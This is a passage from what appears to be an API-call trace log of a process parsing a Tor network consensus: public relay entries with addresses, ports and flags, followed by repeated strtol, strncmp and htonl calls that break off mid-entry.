0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=14800\nr dry AbN5Rg1ZY3CGUo3ht+x2nOeX248 2017-08-21 06:35:56 5.255.78.169 32442 26465\nm HoBdYyT4yFQYQBN84yO+tayKa150XRClilS+uGgeqzQ\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=1150\nr UEUEUEU Abi++ERfTrx0t2bREPiiZkyV25Q 2017-08-21 03:29:06 65.50.203.5 9001 9030\nm He5seWcgBtH19Czt0F8pid/dgVK9DHLYcSCzeT3BsKo\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.8\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=122\nr anonA437536 Ab/v5BU/lg0VZ1CEmiaTVBXa5eM 2017-08-21 08:00:32 93.237.149.202 80 443\nm an8yKZsnJWsVJWyggFK/7myX3050/6HdOHEl4OjT2Vk\ns Fast Running V2Dir Valid\nv Tor 0.2.5.12\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=610\nr beddini AcRiOwQRMklXqFsBWP9xaO7CghQ 2017-08-21 18:09:44 94.242.255.112 443 80\nm ktMGyE/SSiOiAvhSf+RCkqOG3oVNQqs/lzNwTc/uuEQ\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=6210\nr DFRI6 AcZ+DKj5cRHmUsdWTLMgQ2H/+rg 2017-08-21 08:33:38 171.25.193.132 443 80\nm CEMYh+sZkHpR30a26EGgj4PZYAxyhq/CCt6gjQPt8iY\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.8\npr Cons=1-2 Desc=1-2 DirCache", _SubStr="\nr ") returned="\nr Quintex13 AHe8unJE2z5qXtJ0boYXAGZoSIc 2017-08-21 06:37:12 199.249.223.62 443 80\nm MSgi5gqKShKxEL1nL1Qv7wPjKACZVRtWMuGS+LYOcrY\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.4-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=4160\nr torr0zzy AHkAkox9OM/cs7yEB8rW7leiT+I 2017-08-21 10:06:35 88.198.11.171 9001 9030\nm cOR+jaMOGASTniwVtosZ3jvRKeQasm+kknW4kVeqdwI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=10700\nr powertoyou AIuoi8XPytZLWDhuE4gzcfgX4cI 2017-08-21 16:09:36 88.15.188.87 9001 9030\nm elq2XVA8OvqQajpSxd6rSnnuKnX1wHSGsEacpwHjDZg\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=9680\nr BobDoe AJQ2YvMOznqi0SYrNk/AQx94+Aw 2017-08-21 08:29:18 167.114.35.107 443 0\nm OD8mzIC+AdfqQquU61OiKu4NI62LNLQ/OrxcM2dkpeI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=8850\nr jactr AJhR35M3VLAN3odvzkCIzhtJQME 2017-08-21 17:27:06 84.40.112.70 9001 9030\nm 8oad5yZhagCebsoaJTZTDvIpKzqBiWpdugcgqcBWLnc\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=363\nr CommanderRoots AKMAUbHTEtCYv18DVDzWjvbctKw 2017-08-21 09:30:19 188.68.33.125 9001 9030\nm AhXIeVLoNu3NoIN6OYhBz7Y3xVnydnpGdTyZsFl+TVk\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=731\nr hozipi ALIqOUZNig9oebg/jlqo4oMPdAw 2017-08-21 03:42:01 188.174.164.217 80 110\nm eHqGX5t+spaXciCNnxrOjc4qwlpz7PXRIv5HLsUbC94\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=206\nr QuengHoSpore ANXCb6OAXcmTRp1THD4LgLL78nQ 2017-08-21 19:20:38 93.29.252.27 9001 9002\nm S1ncRJDzMgpUB+0pP7CmrX4BHambbPf6Hob9i/KwWUc\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=49\nr MYLEX AQt3KEVEEfSFzinUx5oUU0FRwsQ 2017-08-21 04:05:49 188.230.91.173 444 800\nm BYw2DmjX6pT40ShiDifY97YN6rVBWS4PwUr7Kb/sqQQ\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1500\nr DigiGesTor1e1 ARG6m2BGaeY2/9W1A/OCpLetboA 2017-08-21 20:06:17 176.10.104.240 443 80\nm Bkm9UxfffNEj7bD7yENepcbe3ZJS9B09lpaeEHt0hDs\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=30200\nr mndo01 ARHr9cPwbAn/DtOXsN4zRWzG8uM 2017-08-21 18:34:31 139.59.210.198 9001 0\nm rUvK2DAfZAAw6qopNyGZ45AjC4y6L1fikgen5Udgflk\ns Running Stable V2Dir Valid\nv Tor 0.3.0.8\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=1\nr biochemistmoscow ASgRXsTMNXheAF8L8v7ffs3E8Ds 2017-08-21 20:36:08 5.228.12.221 12630 12631\nm jIeCthgvWahqvnicvDHwUVAvJLq8IanFu2rG11Lj80E\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=445\nr Pasuga AT4Dw+lRtHKDe9Yr4xY7oiWVUfY 2017-08-21 05:13:19 85.69.57.27 4445 8885\nm pnRN98HldcSPXpDMyJMwQaiqf117riRuDvHjHgHO+1Q\ns Fast Running V2Dir Valid\nv Tor 0.2.9.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=1080\nr marsmellow AU7iS8vaFg8jayVHpGObJ+MDoec 2017-08-21 07:05:21 62.251.89.74 9001 0\nm lRUWy4T957ovquITXh8Lvju0agJ8cCyWb3CFBlkSjbo\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3890\nr zorroleroB AVjf5WgvIFDPAxs3PLpi8WextFY 2017-08-21 14:05:43 109.75.184.77 443 0\nm oAq7EvKbaN5GOpEJFhDJGo1V+OH6cCACfstXDN/D5n8\ns Fast Running Stable Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=536\nr d0dak AWCT7kuumvRz/AyBGp0Q/aqco0s 2017-08-21 12:34:51 62.65.107.36 443 0\nm F/u3oUPA4i5rl1VcGNbjf1GMoj9YJjxPzk1ZvmYgadY\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=891\nr heidelbeermann AWWmgIYt5cNM13JBE0cq97Hdyfs 2017-08-21 02:36:21 84.19.178.155 9001 0\nm R57tNDgaBefi3y1iqENry663CbjRAx/8tuj9eqeUdak\ns Fast Running Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=545\nr noce AWZNQagfgXo+cUANa/1AlHqkCvs 2017-08-21 17:01:46 216.127.173.78 443 80\nm RHZL8oqc/VXGKqpxxYycWEF4t2jDB9OBj7rYhOzCLiw\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=9030\nr hedden AXOnqLqdMgQ2QbaXJtMqmt/ibRY 2017-08-21 09:58:45 93.174.93.133 443 80\nm 8kUOtpUjcFfxz5U9Sobxvy/Z7jK8eYaG2tJjd0GV0JI\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=13300\nr Huddlepoop4 AXQZQsXHeVOE1lkkTdEXSZz4c2I 2017-08-21 08:47:30 178.157.198.187 9001 9030\nm lvXjLapF6OPpyT3VtHL2cabbUcVNEiNUSVpBLjT3lpI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=5270\nr clifford AYA0aChQNFmEeB41O3pGNEPsPwY 2017-08-21 15:19:50 97.107.138.68 9001 0\nm f6glUpMp0kSOCz9GIK1aGy2okbci7DkKqS1tx5Onr3s\ns Fast Running Stable Valid\nv Tor 0.2.5.10\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1210\nr multisec2 AaD8ChoRjh17F44jllQIDVz+Y/g 2017-08-21 17:12:17 193.90.12.87 9002 0\nm 82h6aIej6E2Oklo+QvO3LSVHebTbSR6u2NWi8jRP6ZI\ns Exit Fast Guard Running Stable Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=6960\nr ForEdSnowden AaHRX5/GftBfopZv+IMGftUCzwg 2017-08-21 08:54:50 51.15.133.16 9001 0\nm 63VYlKb974uUXWxaiaKRoF/ji6cFBMi5ebi5RHVugPw\ns Fast Guard Running Stable Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=3560\nr Unnamed AaXrMo2ePpb0tMAXI7J9w0d39Dw 2017-08-21 13:40:59 185.80.222.105 9001 9030\nm Af8GyINB0hqle5c9RHM62p0Hl7Ge/HvpEDFR+GBXmT4\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=766\nr ins0 Aaklikbpf/iyyseRBXeGLBTyxSQ 2017-08-21 13:35:20 193.171.202.146 9001 9030\nm MeWdRvgTeReILiA8dUZTJ8PrpSm/2dYCjhyjhiDx6es\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.5-rc\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=19700\nr Neurans AaqlqPTvVXyPn95IMpy4fzt0evQ 2017-08-21 15:54:48 98.206.202.53 443 0\nm PtY0SWQytPM4ocNiJQUol/CgjznBOXez7ve68rpIY5U\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3970\nr wsmith6079 Aa4AK05grlqP9A/bZyYPhasIeK4 2017-08-21 15:58:01 8.37.14.220 9001 9030\nm 1LCI7I00buV1LKcMCBdOZwI2D7DB5ImRiBgjfdlLu1g\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=4050\nr rixtyminutes Aa4t4xQnbIL8zDYDocLzI45lRMk 2017-08-21 15:22:19 149.56.233.142 443 80\nm dsCJtmBbhMsBLi2e3v7B6j1jS9MazB+qe3HvC5M47tI\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=14800\nr dry AbN5Rg1ZY3CGUo3ht+x2nOeX248 2017-08-21 06:35:56 5.255.78.169 32442 26465\nm HoBdYyT4yFQYQBN84yO+tayKa150XRClilS+uGgeqzQ\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=1150\nr UEUEUEU Abi++ERfTrx0t2bREPiiZkyV25Q 2017-08-21 03:29:06 65.50.203.5 9001 9030\nm He5seWcgBtH19Czt0F8pid/dgVK9DHLYcSCzeT3BsKo\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.8\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=122\nr anonA437536 Ab/v5BU/lg0VZ1CEmiaTVBXa5eM 2017-08-21 08:00:32 93.237.149.202 80 443\nm an8yKZsnJWsVJWyggFK/7myX3050/6HdOHEl4OjT2Vk\ns Fast Running V2Dir Valid\nv Tor 0.2.5.12\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=610\nr beddini AcRiOwQRMklXqFsBWP9xaO7CghQ 2017-08-21 18:09:44 94.242.255.112 443 80\nm ktMGyE/SSiOiAvhSf+RCkqOG3oVNQqs/lzNwTc/uuEQ\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=6210\nr DFRI6 AcZ+DKj5cRHmUsdWTLMgQ2H/+rg 2017-08-21 08:33:38 171.25.193.132 443 80\nm CEMYh+sZkHpR30a26EGgj4PZYAxyhq/CCt6gjQPt8iY\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.8\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3550\nr lach Acu4wprXATF2+Dn31M7XKtFCh+c 2017-08-21 07:51:34 103.250.73.218 541 14761\nm zk8H7V6Lxonc2UMWp+IypmTrW3k0y6+shTj0N4El8ZE\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.7.6\npr Cons=1-2 " [0119.882] strlen (_Str="\ndirectory-footer") returned 0x11 [0119.882] memchr (_Buf=0x3941b5e, _Val=10, _MaxCount=0x114) returned 0x3941bac [0119.882] strncmp (_Str1="m OQlZwMpEm", _Str2="-----BEGIN ", _MaxCount=0xb) returned 64 [0119.882] strncmp (_Str1="s Fast HSDi", _Str2="-----BEGIN ", _MaxCount=0xb) returned 70 [0119.882] strncmp (_Str1="v Tor 0.2.4", _Str2="-----BEGIN ", _MaxCount=0xb) returned 73 [0119.882] strncmp (_Str1="pr Cons=1 D", _Str2="-----BEGIN ", _MaxCount=0xb) returned 67 [0119.882] htonl (hostlong=0x3ce1395f) returned 0x5f39e13c [0119.882] htonl (hostlong=0x5f39e13c) returned 0x3ce1395f [0119.882] _errno () returned 0x9f07d8 [0119.882] strtol (in: _Str="9001", _EndPtr=0x36f004, _Radix=10 | out: _EndPtr=0x36f004*="") returned 9001 [0119.882] _errno () returned 0x9f07d8 [0119.882] _errno () returned 0x9f07d8 [0119.882] strtol (in: _Str="9030", _EndPtr=0x36f004, _Radix=10 | out: _EndPtr=0x36f004*="") returned 9030 [0119.882] _errno () returned 0x9f07d8 [0119.882] strtol (in: _Str="0.2.4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".2.4.8-alpha") returned 0 [0119.882] strtol (in: _Str="2.4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".4.8-alpha") returned 2 [0119.882] strtol (in: _Str="4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".8-alpha") returned 4 [0119.882] strtol (in: _Str="8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*="-alpha") returned 8 [0119.882] strtol (in: _Str="0.2.4.29", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".2.4.29") returned 0 [0119.882] strtol (in: _Str="2.4.29", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".4.29") returned 2 [0119.882] strtol (in: _Str="4.29", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".29") returned 4 [0119.882] strtol (in: _Str="29", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*="") returned 29 [0119.882] htonl (hostlong=0xc7f9df3e) returned 0x3edff9c7 [0119.882] htonl (hostlong=0x3edff9c7) returned 0xc7f9df3e [0119.882] _errno () returned 0x9f07d8 [0119.882] strtol (in: _Str="443", _EndPtr=0x36f004, _Radix=10 | out: _EndPtr=0x36f004*="") returned 443 [0119.882] _errno () returned 0x9f07d8 [0119.882] _errno () returned 0x9f07d8 [0119.882] strtol (in: _Str="80", _EndPtr=0x36f004, _Radix=10 | out: _EndPtr=0x36f004*="") returned 80 [0119.883] _errno () returned 0x9f07d8 [0119.883] strtol (in: _Str="0.2.4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".2.4.8-alpha") returned 0 [0119.883] strtol (in: _Str="2.4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".4.8-alpha") returned 2 [0119.883] strtol (in: _Str="4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".8-alpha") returned 4 [0119.883] strtol (in: _Str="8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*="-alpha") returned 8 [0119.883] strtol (in: _Str="0.3.1.4-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".3.1.4-alpha") returned 0 [0119.883] strtol (in: _Str="3.1.4-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".1.4-alpha") returned 3 [0119.883] strtol (in: _Str="1.4-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".4-alpha") returned 1 [0119.883] strtol (in: _Str="4-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*="-alpha") returned 4 [0119.883] htonl (hostlong=0x58c60bab) returned 0xab0bc658 [0119.883] htonl (hostlong=0xab0bc658) returned 0x58c60bab [0119.883] _errno () returned 0x9f07d8 [0119.883] strtol (in: _Str="9001", _EndPtr=0x36f004, _Radix=10 | out: _EndPtr=0x36f004*="") returned 9001 [0119.883] _errno () returned 0x9f07d8 [0119.883] _errno () returned 0x9f07d8 [0119.883] strtol (in: _Str="9030", _EndPtr=0x36f004, _Radix=10 | out: _EndPtr=0x36f004*="") returned 9030 [0119.883] _errno () returned 0x9f07d8 [0119.883] strtol (in: _Str="0.2.4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".2.4.8-alpha") returned 0 [0119.883] strtol (in: _Str="2.4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".4.8-alpha") returned 2 [0119.883] strtol (in: _Str="4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".8-alpha") returned 4 [0119.883] strtol (in: _Str="8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*="-alpha") returned 8 [0119.883] strtol (in: _Str="0.3.0.10", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".3.0.10") returned 0 [0119.883] strtol (in: _Str="3.0.10", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".0.10") returned 3 [0119.883] strtol (in: _Str="0.10", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".10") returned 0 [0119.883] strtol (in: _Str="10", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*="") returned 10 [0119.883] htonl (hostlong=0x580fbc57) returned 0x57bc0f58 [0119.883] htonl (hostlong=0x57bc0f58) returned 0x580fbc57 [0119.883] _errno () returned 0x9f07d8 [0119.883] strtol (in: _Str="9001", _EndPtr=0x36f004, _Radix=10 | out: _EndPtr=0x36f004*="") returned 9001 [0119.883] _errno () returned 0x9f07d8 [0119.883] _errno () returned 0x9f07d8 [0119.883] strtol (in: _Str="9030", _EndPtr=0x36f004, _Radix=10 | out: _EndPtr=0x36f004*="") returned 9030 [0119.883] _errno () returned 0x9f07d8 [0119.883] strtol (in: _Str="0.2.4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".2.4.8-alpha") returned 0 [0119.883] strtol (in: _Str="2.4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".4.8-alpha") returned 2 [0119.883] strtol (in: _Str="4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".8-alpha") returned 4 [0119.883] strtol (in: _Str="8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*="-alpha") returned 8 [0119.883] strtol (in: _Str="0.2.7.6", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".2.7.6") returned 0 [0119.883] strtol (in: _Str="2.7.6", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".7.6") returned 2 [0119.884] strtol (in: _Str="7.6", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".6") returned 7 [0119.884] strtol (in: _Str="6", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*="") returned 6 [0119.884] htonl (hostlong=0xa772236b) returned 0x6b2372a7 [0119.884] htonl (hostlong=0x6b2372a7) returned 0xa772236b [0119.884] _errno () returned 0x9f07d8 [0119.884] strtol (in: _Str="443", _EndPtr=0x36f004, _Radix=10 | out: _EndPtr=0x36f004*="") returned 443 [0119.884] _errno () returned 0x9f07d8 [0119.884] _errno () returned 0x9f07d8 [0119.884] strtol (in: _Str="0", _EndPtr=0x36f004, _Radix=10 | out: _EndPtr=0x36f004*="") returned 0 [0119.884] _errno () returned 0x9f07d8 [0119.884] strtol (in: _Str="0.2.4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".2.4.8-alpha") returned 0 [0119.884] strtol (in: _Str="2.4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".4.8-alpha") returned 2 [0119.884] strtol (in: _Str="4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".8-alpha") returned 4 [0119.884] strtol (in: _Str="8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*="-alpha") returned 8 [0119.884] strtol (in: _Str="0.3.0.10", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".3.0.10") returned 0 [0119.884] strtol (in: _Str="3.0.10", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".0.10") returned 3 [0119.884] strtol (in: _Str="0.10", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".10") returned 0 [0119.884] strtol (in: _Str="10", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*="") returned 10 [0119.884] htonl (hostlong=0x54287046) returned 0x46702854 [0119.884] htonl (hostlong=0x46702854) returned 0x54287046 [0119.884] _errno () returned 0x9f07d8 [0119.884] strtol (in: _Str="9001", _EndPtr=0x36f004, _Radix=10 | out: _EndPtr=0x36f004*="") returned 9001 [0119.884] _errno () returned 0x9f07d8 [0119.884] _errno () returned 0x9f07d8 [0119.884] strtol (in: _Str="9030", _EndPtr=0x36f004, _Radix=10 | out: _EndPtr=0x36f004*="") returned 9030 [0119.884] _errno () returned 0x9f07d8 [0119.884] strtol (in: _Str="0.2.4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".2.4.8-alpha") returned 0 [0119.884] strtol (in: _Str="2.4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".4.8-alpha") returned 2 [0119.884] strtol (in: _Str="4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".8-alpha") returned 4 [0119.884] strtol (in: _Str="8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*="-alpha") returned 8 [0119.884] strtol (in: _Str="0.2.9.11", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".2.9.11") returned 0 [0119.884] strtol (in: _Str="2.9.11", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".9.11") returned 2 [0119.884] strtol (in: _Str="9.11", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".11") returned 9 [0119.884] strtol (in: _Str="11", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*="") returned 11 [0119.884] htonl (hostlong=0xbc44217d) returned 0x7d2144bc [0119.884] htonl (hostlong=0x7d2144bc) returned 0xbc44217d [0119.884] _errno () returned 0x9f07d8 [0119.884] strtol (in: _Str="9001", _EndPtr=0x36f004, _Radix=10 | out: _EndPtr=0x36f004*="") returned 9001 [0119.884] _errno () returned 0x9f07d8 [0119.884] _errno () returned 0x9f07d8 [0119.884] strtol (in: _Str="9030", _EndPtr=0x36f004, _Radix=10 | out: _EndPtr=0x36f004*="") returned 9030 [0119.885] _errno () returned 0x9f07d8 [0119.885] strtol (in: _Str="0.2.4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: 